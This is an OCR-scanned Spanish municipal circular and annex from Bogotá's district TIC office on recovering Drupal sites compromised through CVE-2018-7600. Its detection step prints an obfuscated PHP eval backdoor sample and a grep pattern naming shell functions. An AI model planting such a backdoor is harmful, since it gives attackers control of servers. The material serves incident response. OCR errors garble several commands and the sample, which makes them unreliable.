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DIRECTORES(AS) DE UNIDADES ADMINISTRATIVAS ESPECIALES,
GERENTES  PRESIDENTES(AS) Y  DIRECTORES(AS)  DE
ESTABLECIMIENTOS PUBLICOS, EMPRESAS INDUSTRIALES Y
COMERCIALES, SOCIEDADES PUBLICAS, SOCIEDADES MIXTAS,
ENTE UNIVERSITARIO, HOSPITALES, ALCALDES Y ALCALDESAS
LOCALES, VEEDOR DISTRITAL Y CONTRALOR DISTRITAL
LOCALES,

De: OFICINA ALTA CONSEJERIA DISTRITAL DE TECNOLOGIAS DE LA
INFORMACION Y LAS COMUNICACIONES

CIRCULAR N°.

Asunto: Procedimiento de recuperacion para portales con Drupal
comprometidos

Con el objetivo de garantizar la seguridad de los sitios web distritales
implementados con el sisterna gestor de contenidos Drupal, la Oficina de
la Alta Consejeria Distrital de TIC expidid la circular 022 de 2018 en donde
se solicita a las entidades la actualizacion prioritaria de los sitios web
basados en la plataforma crupal que respondia a la atencion de una
vulnerabilidad altamente critica de Ejecucion Remota de Cdodigo para los
sifios web que utilizan la version 7x y 8x de esta plataforma
(Vulnerabilidad: CVE-2018-74C0')

Dando alcance a la circular 022 y como medida preventiva dada la
posibilidad de que algunos sitios web no actualizados hayan sido
vulnerados se dispone de ur Procedimiento de recuperacion para portales
con Drupal comprometidos* anexo a esta circular en donde encontrardn
los instructivos necesarios para idertificar si un sitio web fue vulnerado vy
qgue hacer en este caso.

""Highly critical - Remote Code Execution - SA-CORE-2018-002 - Drupal.” 28 Mar. 2018,
https://www.drupal.org/sa-core-2018-002. Accedido 23 Abril. 2018.
? http://ticbogota.gov.co/documentos/prccadimiento-recuperacion-portales-drupal-comprometidos
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Para mayor informacién los invitamos < consultar el sitio web
http://tic.bogota.gov.co y el procedimiento en
hitp://ticbogota.gov.co/documentos/procedimiento-recuperacion-portale
s-drupal-comprometidos o comunicarse con la Oficina de la Alta
Consejeria Distrital de TIC al teléfono 3813000 ext 3052

Cordialmente,

SERG ARTINEZ MEDINA
Alto Consejero Distrital de TIC

Anexos: 5 folios, 9 paginas

Proyectd: Johann Alexander Garzén Arena
Revisé: Ivan Mauricio Hernandez Lanao
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Procedimiento de recuperacién para portales con
Drupal comprometidos.

Vulnerabilidad: cVE-2018-7600

Una vulnerabilidad de tipo ejecucién de cédigo remoto existe en mltiples sistemas de
Drupal 7.x y 8.x. Esta vulnerabilidad permite a los atacantes aprovechar diferentes vectores
de ataque, entre ellos tomar control completo del servidor donde esta alojado el sitio web'.

Procedimiento de recuperacion para portales con Drupal comprometidos.

¢Como detectar si mi sitio web fué comprometido?
Paso 1: Identifique la versién base de su Drupal
Paso 2: Realice un analisis del sistema de ficheros de su sitio web
Paso 2: Confirme si el sitio web esta comprometido con los archivos detectados.
Paso 3: Notifique

¢Qué hacer en caso de que mi sitio web esté comprometido?
Paso 1: Realice una copia forense
Paso 2: Detenga los servicios HTTP en su servidor
Paso 3: Elimine todos los archivos que detectd en la fase de analisis.

Paso 4. Decida si revertir su sitio web a un estado anterior o remover el malware en
el sitio comprometido

Paso 5: Actualizar Drupal a una versién mas reciente

Paso 5: Restablezca el servicio HTTP

Paso 6: Implemente una estrategia de respaldos
Necesito ayuda con este proceso

' "Highly critical - Remote Code Execution - SA-CORE-2018-002 - Drupal." 28 Mar. 2018,
https:.//www.drupal.org/sa-core-2018-C02. Accedido 23 Abril. 2018.
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¢ Como detectar si mi sitio web fué comprometido?
Paso 1: Identifique la version base de su Drupal

Si la version instalada de su Drupal es menor a la version 7.58 es muy probable que
su sitio esté comprometido, por lo tanto se recomienda actualizar inmediatamente .

Paso 2: Realice un analisis del sistema de ficheros de su sitio web

Valide que no existan archivos correspondientes a puertas traseras? ( Backdoors )
dejadas por el atacante. Para esto puede apoyarse en el uso de herramientas de deteccion,
comandos o un andlisis manual que permita encontrar archivos que ejecuten c6digo no
autorizado en el sitio web.

Estas puertas traseras normalmente siguen un patrén, es decir estan conformadas por
algunas funciones en PHP y estan ofuscadas. Se presenta un ejemplo de una puerta trasera
encontrada para esta vulnerabilidad:

<?php

eval ("\n\$dgreusdi = intval(_ LINE ) * 337;");

$a =
"IVArT+NGFPleqf9hiCIcKwHFj7C1IQh2Bd1VebIthVZClJo4k2QSvzR2674ra
F/94zDk78GLOouSW6U02M7212233MnTs3JzzgTsyS1sa674CIXjhROtQ95£fX1z
o/W+/IbhONgjMOSkgBgRbnffpvcPumbtIeBg4CEfdZAQAMOUh430dJK52Q£3KyS
aNITh674vgxWRAzvFg/WxgHAPG3S1pNZ0315¢c/visiNCZNNwznnD1lhwAbH2UeyC
vW1lzF/rR4U5h9zwpyCEfBnTChMODJU+0tD+HhpIliOk8pmB8u4RNL6741ZazpDG7
MB2RswNR6y1ReodlZIsNvLavv674xyUtud3JuyWulwMxzDI/r18dN5BaBm7rCE
cnFHJI81tFUNKWDJQgSkZHv)+vSnn2+M80Js8vri+jR+e2YYV7+vT]j9cee9vbk5
Tb65XZxfXhvHDLY7kOW/n7942Mm+gBsAZFoycOB6748mMSpc/hGSNYjtSY9Ack
fGbKsQYZgpxKrHF674uez5¢cXv361DsByIaLlR0a0OYDGjwp3Wh7mYQRm+XwSVROr
yKVNcyKd/L6egltXmlsJxeZVzLI2+mr42/Xw6Z068GPo8jvHdakYsjDzWkQHxP
DoMBU2YYuciXGMu/LVvDHFpNApxw9rCGT709kmTHYFBPLYh1 /v1C7gWméeVys4l
c3hayu6uiBLzdhtm83£505JrsPmGBdNiJgKA+7A/FKCOTbfI7HXmdDuvU3zZnd
30109ThKI/s6743cgWmW95Xx4LKxYdcsVSZUbDuuler9NoluNzjW48/BAdlgly
V6sPR21jcZLymcRGIMZWOXJGT2¢cz674aTWegmf DaK4nAQ0GzNN181gQCoang/up
0LQj61cFZIPhrOkIhaveJIWhbwC8JeW0cXGIw3e+F6xGlQgqyitQmélakndAXg
STaM1674+kOeAder+Gasd/dMzQFkLnTUJ6mglOP/ykLghRUUao2790onpvkKJIIRC

2 "Pyerta trasera - Wikipedia, la enciclopedia libre." hitps:/es.wikipedia.org/wiki/Puerta_trasera. Se
consulté el 23 abr.. 2018.
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FkIyOu5fQ5jKK3eNk3+ZvtRYUS1tzRBOKDTVnH2vPgJINFsPU1dgVjQaGY5CgKB
1BFtUIW7w46745UG674N5miihTDFNajUsQ2s1804fuKzahSmje29sAtnxk8iBa
JwrfhYjxmIiutm+Fk6G1lSu7j+e0bnc+//AOGBWfq20qSHsZ5821XCXg+DB7hf4
£409y674674urg/oQQQ/DILbNBgcwPiHQJC8IHOKFiADAhgAG674AYGBIAGQAZ
OBmHJaYTA1ZUgO674TA1Z674DJ7SfaYIDNBZOLMhFKrWzYNIAtkFsgskFkgsyB
kQciCkAUhGOpt4GzgbOkLcDZwWNnD2gxKhDS674bQj0I% 7aZPmf8Ksj1FVOIip
a2imSI5Ilduuy2CdépecfomhF74zSeJs2bals2sbdkZ2BVKrsAiVRIdQu6edefn
+Vk6AgbvL5Lk5fsYpT0a674UVI7T80cGDBauS1twMFn6do5y0iVGIVdoZV7xpG
y+IAV49kIYiFmvpfDRMZYM674YyveVlza2G6+1Hbzs2w3STYEfAHTrZeabr3Y9
DrhJ8v/sc2rKfcY6GUiHZOu2gw32QPDJ2VAXDo5PsbpplL71JLsDOIfM67StC6
74iPSD1PZNZvbf3/GaSMR4QW9O3BZj+D1ImZkDdbf";
$a = str_replace($dgreusdi, "E", $a);

Deteccion con Herramientas

Se recomiendan: Shell Detector , PHP Backdoor Detector?, BackdoorMan®.

Deteccion con Comandos:
grep -RPn
" (passthrulshell exec|eval|system|phpinfo|base64 decode|chmod]
mkdir|fopen|fclose|readfile) *\ ("
Deteccion manual:
Revise archivo por archivo su sitio web y determine si existen archivos con cédigo php que
ejecuten funciones como shell_exec, passthru, system, phpinfo, base64_decode, eval,

chmod, fopen,readfile y tengan cddigo ofuscado.

Realice una lista de esos archivos sospechosos.

Paso 2: Confirme si el sitio web esta comprometido con los archivos
detectados.

3 "GitHub - emposha/PHP-Shell-Detector: Web Shell Detector —is a php ...."
https:/qithub.com/emposha/PHP-She |-Detector. Se consulto el 23 abr.. 2018.

¢ "GitHub - djeraseit/PHP-backdoor-detector: PHP backdoor detectoris a ...."
https://qithub.com/djeraseit/PHP-backJoor-detectar. Se consultd el 23 abr.. 2018.
® "GitHub - cys3c/BackdoorMan: BackdoorMan is a toolkit that helps you ...."
https //qithub.com/cys3c/BackdoorMan. Se consulté el 23 abr.. 2018.
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Con base en la lista de archivos encontrados en el paso de deteccién compare con el
repositorio oficial de Drupal® o la Gltima versién de drupal disponible’ y determine si son
archivos infectados o hacen parte del sistema de ficheros de drupal. Esta comparacion la
puede realizar graficamente con el programa Meld®

Si los archivos difieren con el proyecto Drupal , se puede afirmar que existen puertas
traseras y su sitio web estd comprometido.

Paso 3: Notifique

Reporte el incidente a sus superiores y a las entidades competentes.

. Qué hacer en caso de que mi sitio web esté comprometido?
Paso 1: Realice una copia forense

Después de asegurarse que el sitio web fué comprometido realice una copia
forense. Si puede, esta copia podria ser una instantanea a nivel de sistema operativo
de los servidores involucrados,. de lo contrario, busque una copia de la base de
datos, los archivos y los logs de acceso de los diferentes servicios que se ejecutan .
Almacene una copia en medios que no se pueden modificar como un CD o DVD
garantizando la integridad de la informacién.

Paso 2: Detenga los servicios HTTP en su servidor

Servidor Apache:

sudo
o]

sudo service httpd stop
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Para sistemas GNU/Linux con Systemd:

systemctl stop apachel.service

Servidor Nginx:

6 https://git.drupal.org/project/drupal.git
7 https://www.drupal.org/project/drupal/releases/7.58
® http://meldmerge.org/
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+h

syetemctl stop nginx shpe=fonm

Si usa otro servidor HTTP en su servidor revise la documentacion (11S° ) para detener el servicio.

Paso 3: Elimine todos los archivos que detecto en |a fase de andlisis.

Elimine de sus servidor la lista de archivos que encontré en el paso dos de la etapa
de diagnostico.

Paso 4: Decida si revertir su sitio web a un estado anterior o remover el
malware en el sitio comprometido

Comience el proceso considerando esta pregunta y puede ayudar a facilitar el
proceso. Si conoce la fecha especifica en que se ha comprometido su sitio, ;puede
reconstruir el sitio facilmente simplemente utilizando una base de datos anterior y
una copia de seguridad de archivos?. Si la respuesta es si, se recomienda cargar
esa base de datos, asi como los archivos. Luego de cargar este respaldo vaya al
paso 5.

Paso 5: Actualizar Drupal a una version mas reciente

Drupal cuenta con documentacion oficial para la actualizacion del core para
su versién 7 y su version 8

Actualizacion del core de Drupal 7 (Opcion 1)

°*"HOW TO: Start and Stop Individual Web Sites in IIS - Microsoft Support.” 16 Apr. 2018,

https.//support.microsoft.com/en-us/help/324090/how-to-start-and-stop-individual-web-sites-in-iis.

Accessed 23 Apr. 2018.

19 "Actualizacion del Core de Drupal 7 (opcién 1) | Drupal 7 guia en Drupal.org." 7 Febrero. 2018,

https.//www.drupal.org/docs/7/update/zore-option-1. Se consultd el 23 Abril. 2018. %
2
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e Enviar el sitio a modo mantenimiento: configuracion -> desarrollo -> Modo
mantenimiento

e Eliminar todos los archivos excepto el directorio Sites y los archivos
(.htaccess y robots.txt) que han sido modificacos

e Suba los nuevos archivos excepto el directorio sites o los archivos (.htaccess
y robots.txt) para no sobreescribir los que han sido modificados en su
servidor

e Ejecute la actualizacion del core de Drupal accediendo a la url
http://nombredominio.gov.co/update.php

e Mientras se ejecuta la actualizacion si se presentan errores como los que se
listan a continuacién, utilice la herramienta de mddulos faltantes para
sobrepasar estos errores (para sitios con la version 7.5x)

The following module is missing from the file system: MODULE NAME. In order to fix
this, put the module back in its original location. For more information, see the
documentation page.

0

User warning: The following module is missing from the file system: MODULE NAME. In
order to fix this, put the module back in its original location. For more information, see
the the documentation page. in _drupal_trigger_error_with_delayed_logging()

e Saque el sitio del modo de mantenimiento
e Tdémese un tiempo en revisar el sitio asegurando que funcione
adecuadamente

Actualizacion de Drupal 8 (Opcién manual)’

e Realice un respaldo de los archivos composer.json, robots.txt y .htaccess si
han sido modificados manualmente

e Acceda a Drupal con cualquier usuario que cuente con permisos de
“Administrador actualizaciones de software”

e Utilizando Drupal habilite el modo mantenimiento en: configuracion ->
desarrollo -> Modo mantenimiento

e Remover los archivos en el directorio de primer nivel y los directorios “core” y
“vendor”

" "Actualizacién manual del Core | Drupal 8 guia en Drupal.org." 19 Abril. 2018,

hitps:/www.drupal.org/docs/8/update/update-core-nanually. Se consultd el 23 Abril. 2018.
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o Mediante un cliente FTP navegue hacia el directorio donde se
encuentra su instalacién de Drupal

o Seleccione todos los archivos en el directorio de primer nivel
incluyendo los archivos ocultos que comienzan con un punto ej:
.htaccess

o Seleccione los directorios core y vendor

o Borre los archivos seleccionados

e Opcionalmente en algunas ocasiones una actualizacién incluye cambios al
archivo default.settings.php. Esto podra ser verificado en en la pagina con
todos los releases de esta plataforma’ y revise las notas del release. Sila
actualizacidn incluye cambios en el archivo default.settings.php realice el
siguiente procedimiento

o Realice un respaldo del archivo settings.php.

o Copie las entradas con la configuracién propia del sitio como: conexion
a la base de datos, y otras personalizaciones que haya realizado. Esta
informacién proviene del respaldo del sitio realizado con anterioridad.

o Haga una copia del nuevo archivo default.settings.php y renombrarla
con el nombre settings.php (sobreescribiendo el anterior archivo
settings.php).

o Actualice el nuevo archivo settings.php con la configuracién propia de
su sitio.

e Actualice el core de Drupal mediante un cliente FTP

o Descargue el ultimo release de Drupal 8.x.x desde el sitio web oficial™
en un directorio fuera del web root de su servidor.

o Extraiga el archivo.

o Mediante el cliente FTP suba los directorios “core” y “vendor” en el
directorio de primer nivel de su instalacion de Drupal.

e Opcionalmente aplique nuevamente las modificaciones a los archivos como
.htaccess, composer.json o robots.txt.

e Usando el navegador web y como usuario administrador ejecute la
actualizacién del core de Drupal accediendo a la url
http://nombredominio.go /.co/update.php

o Sino tiene permisos de administrador edite el archivo setting.php
cambie la siguiente configuracion:

'?"Releases para el Core de Drupal | Drupal.org." 18 Abril. 2018,
https://www.drupal.org/project/drupal/releases. Se consulto el 23 Abril. 2018.
* "Build | Drupal.org." https://wwvi.drupal.org/download. Se consulté el 23 Abril

2018. %f
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Ssettings['update free access'] = FALSE;
a

Ssettings['update free access'] = TRUE;

o Ejecute nuevamente http.//nombredominio.gov.co/update.php

e Usando el navegador web acceda como administrador a Administracién ->
Reportes -> Reporte de estado. Verifique que todo esta funcionando como
corresponde.
| e Usando el navegador acceda como administrador y deshabilite el modo
mantenimiento
e Finalmente luego de la actualizacion elimine el release de Drupal previamente
descargado.

Paso 5: Restablezca el servicio HTTP

Servidor Apache:

sudo service httped start

Para sistemas GNU/Linux con Systemd:

systemctl]l start apachel.service
Servidor Nginx:

sudoc service nginx start

sudo service php-fpm start
Para sistemas GNU/Linux con Systemd:
systemctl start nginx php-fom
Paso 6: Implemente una estrategia de respaldos

Si no cuenta con una estrategia de respaldos para la informacién de su sitio web es el
momento de hacerlo. Desarrolle un plan de trabajo e que le permita realizar copias de
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seqguridad periddicamente de los archivos y de la base de datos. Implementarlo ya que ante
este tipo de incidentes de seguridad es muy util contar con puntos de recuperacién que
permitan disminuir el impacto en su sitio web de un incidente como estos y garantizar la
integridad de sus datos.

Necesito ayuda con este proceso

Si el sitio web instalado en Govimentum fué comprometido y necesita ayuda en el proceso
de recuperacién puede ponerse en contacto a través de los canales de comunicacion
establecidos: Slack™. Si no tiene ecceso puede solicitarlo a través del correo electrénico del
proyecto (govimentum-cms@alcaldiabogota.gov.co).

Proyecto: Astrid Carolina Herrera Diaz
Fabian Hernandez Nieto
Oscar Javier Ardila Pefa
Reviso: Johann Alexander Garzén Arenas
Aproba: Ivan Mauricio Hernandez Lanao

“"Slack - Slack Govimentum." https:./govimentum.slack.com/. Se consulto el 23 abr. 2018.
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